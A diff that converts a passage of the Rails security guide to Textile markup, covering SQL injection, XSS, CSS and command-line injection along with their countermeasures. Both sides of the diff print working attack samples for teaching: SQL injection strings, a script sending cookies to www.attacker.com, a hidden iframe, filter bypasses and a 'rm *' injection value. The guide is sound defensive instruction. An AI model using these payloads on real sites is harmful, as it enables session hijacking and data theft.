-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#.
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
 
-Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
 
-== Injection
+h3. Injection
 
 -- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
 
 Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
 
-=== Whitelists versus Blacklists
+h4. Whitelists versus Blacklists
 
 -- _When sanitizing, protecting or verifying something, whitelists over blacklists._
 
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#:
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
 
-- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-- Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
-- Don't try to correct user input by blacklists:
- * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
- * But reject malformed input
+* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
+* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+** But reject malformed input
 
 Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
 
-=== SQL Injection
+h4. SQL Injection
 
 -- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
 
-==== Introduction
+h5. Introduction
 
 SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 Project.find(:all, :conditions => "name = '#{params[:name]}'")
-----------------------------------------------------------------------------
+</ruby>
 
 This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
 
-..........
+<sql>
 SELECT * FROM projects WHERE name = '' OR 1 --'
-..........
+</sql>
 
 The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
 
-==== Bypassing authorization
+h5. Bypassing Authorization
 
 Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
-----------------------------------------------------------------------------
+</ruby>
 
 If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
 
-.........
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-.........
+<sql>
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
+</sql>
 
 This will simply find the first record in the database, and grants access to this user.
 
-==== Unauthorized reading
+h5. Unauthorized Reading
 
 The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 Project.find(:all, :conditions => "name = '#{params[:name]}'")
-----------------------------------------------------------------------------
+</ruby>
 
 And now let's inject another query using the UNION statement:
 
-............
+<plain>
 ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-............
+</plain>
 
 This will result in the following SQL query:
 
-............
-SELECT * FROM projects WHERE (name = '') UNION 
+<sql>
+SELECT * FROM projects WHERE (name = '') UNION
   SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-............
+</sql>
 
 The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
 
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/[to at least 2.1.1].
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
 
-==== Countermeasures
+h5. Countermeasures
 
-Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. [,#fffcdb]#Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]#. But in SQL fragments, especially [,#fffcdb]#in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually#.
+Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
 
 Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
-----------------------------------------------------------------------------
+</ruby>
 
 As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
-----------------------------------------------------------------------------
+</ruby>
 
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#.
+The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
 
-=== Cross-Site Scripting (XSS)
+h4. Cross-Site Scripting (XSS)
 
 -- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
 
-==== Entry points
+h5. Entry Points
 
 An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
 
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
 
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
 
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security threat report] also documented 239 browser plug-in vulnerabilities in the last six months of 2007. http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx[Mpack] is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites http://www.0x000000.com/?i=556[were hacked] like this, among them the British government, United Nations and many more high targets.
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
 
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro].
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
 
-==== HTML/JavaScript Injection
+h5. HTML/JavaScript Injection
 
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. [,#fffcdb]#Escaping user input is essential#.
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
 
 Here is the most straightforward test to check for XSS:
 
-..........
+<html>
 <script>alert('Hello');</script>
-..........
+</html>
 
 This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
 
-..........
+<html>
 <img src=javascript:alert('Hello')>
 <table background="javascript:alert('Hello')">
-..........
+</html>
 
-===== Cookie theft
+h6. Cookie Theft
 
 These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 
-..........
+<plain>
 <script>document.write(document.cookie);</script>
-..........
+</plain>
 
 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
 
-..........
+<html>
 <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-..........
+</html>
 
 The log files on www.attacker.com will read like this:
 
-..........
+<plain>
 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-..........
+</plain>
 
-You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though.
+You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
 
-===== Defacement
+h6. Defacement
 
 With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
 
-..........
+<html>
 <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-..........
+</html>
 
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
 
 A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
 
 Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
 
-..........
+<plain>
 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
   <script src=http://www.securitylab.ru/test/sc.js></script><!--
-..........
+</plain>
 
-===== Countermeasures
+h6. Countermeasures
 
-[,#fffcdb]#It is very important to filter malicious input, but it is also important to escape the output of the web application#.
+_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
 
-Especially for XSS, it is important to do [,#fffcdb]#whitelist input filtering instead of blacklist#. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
 
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
 
-...........
-strip_tags("some<<b>script>alert('hello')<</b>/script>") 
-...........
+<ruby>
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+</ruby>
 
-This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
 
-...........
+<ruby>
 tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
 s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-...........
+</ruby>
 
 This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
 
-As a second step, [,#fffcdb]#it is good practice to escape all output of the application#, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). [,#fffcdb]#Use escapeHTML() (or its alias h()) method# to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so [,#fffcdb]#it is recommended to use the http://safe-erb.rubyforge.org/svn/plugins/safe_erb/[SafeErb] plugin#. SafeErb reminds you to escape strings from external sources.
+As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
 
-===== Obfuscation and Encoding Injection
+h6. Obfuscation and Encoding Injection
 
 Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
 
-............
-<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
-  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
-............
+<html>
+<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
+  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
+</html>
 
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php[Hackvertor]. Rails‘ sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks.
 
-==== Examples from the underground
+h5. Examples from the Underground
 
--- _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
 
-The following is an excerpt from the http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1[Js.Yamanner@m] Yahoo! Mail http://groovin.net/stuff/yammer.txt[worm]. It appeared on June 11, 2006 and was the first webmail interface worm:
+The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
 
-...........
-<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' 
+<html>
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
   target=""onload="var http_request = false;    var Email = '';
   var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
-...........
+</html>
 
-The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
 
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on http://rosario.valotta.googlepages.com/home[Rosario Valotta's website]. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
 
-In December 2006, 34,000 actual user names and passwords were stolen in a http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html[MySpace phishing attack]. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
 
 The MySpace Samy worm will be discussed in the CSS Injection section.
 
-=== CSS Injection
+h4. CSS Injection
 
 -- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
 
-CSS Injection is explained best by a well-known worm, the http://namb.la/popular/tech.html[MySpace Samy worm]. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
 
 MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
 
-...........
+<html>
 <div style="background:url('javascript:alert(1)')">
-...........
+</html>
 
 So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
 
-...........
-<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> 
-...........
+<html>
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+</html>
 
 The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
 
-...........
-alert(eval('document.body.inne' + 'rHTML')); 
-...........
+<plain>
+alert(eval('document.body.inne' + 'rHTML'));
+</plain>
 
-The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
+The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
 
-...........
+<html>
 <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-...........
+</html>
 
-Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
 
 In the end, he got a 4 KB worm, which he injected into his profile page.
 
-The http://www.securiteam.com/securitynews/5LP051FHPE.html[moz-binding] CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
 
-==== Countermeasures
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
+h5. Countermeasures
 
-=== Textile Injection
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
 
--- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. http://whytheluckystiff.net/ruby/redcloth/[RedCloth] is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
+h4. Textile Injection
 
-	For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
+-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
 
+For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
 
-...........
->> RedCloth.new('<script>alert(1)</script>').to_html
-=> "<script>alert(1)</script>"
-...........
+<ruby>
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+</ruby>
 
 Use the :filter_html option to remove HTML which was not created by the Textile processor.
 
-...........
->> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-=> "alert(1)"
-...........
+<ruby>
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+</ruby>
 
-However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
 
-...........
->> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-=> "<p><a href="javascript:alert(1)">hello</a></p>"
-...........
+<ruby>
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+</ruby>
 
-==== Countermeasures
+h5. Countermeasures
 
-It is recommended to [,#fffcdb]#use RedCloth in combination with a whitelist input filter#, as described in the countermeasures against XSS.
+It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
 
-=== Ajax Injection
+h4. Ajax Injection
 
 -- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
 
-If you use the http://dev.rubyonrails.org/browser/plugins/in_place_editing[in_place_editor plugin], or actions that return a string, rather than rendering a view, [,#fffcdb]#you have to escape the return value in the action#. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
 
-=== RJS Injection
+h4. RJS Injection
 
 -- _Don't forget to escape in JavaScript (RJS) templates, too._
 
-The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. [,#fffcdb]#If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()#. Otherwise an attacker could execute arbitrary JavaScript.
+The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <em class="highlight">If you allow user input in RJS templates, do escape it using +escape_javascript()+ within JavaScript functions, and in HTML parts using +h()+</em>. Otherwise an attacker could execute arbitrary JavaScript.
 
-=== Command Line Injection
+h4. Command Line Injection
 
 -- _Use user-supplied command line parameters with caution._
 
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \`command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
 
-A countermeasure is to [,#fffcdb]#use the +system(command, parameters)+ method which passes command line parameters safely#.
+A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
 
-..........
+<ruby>
 system("/bin/echo","hello; rm *")
 # prints "hello; rm *" and does not delete files
-..........
+</ruby>
 
 
-=== Header Injection
+h4. Header Injection
+
 -- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
 
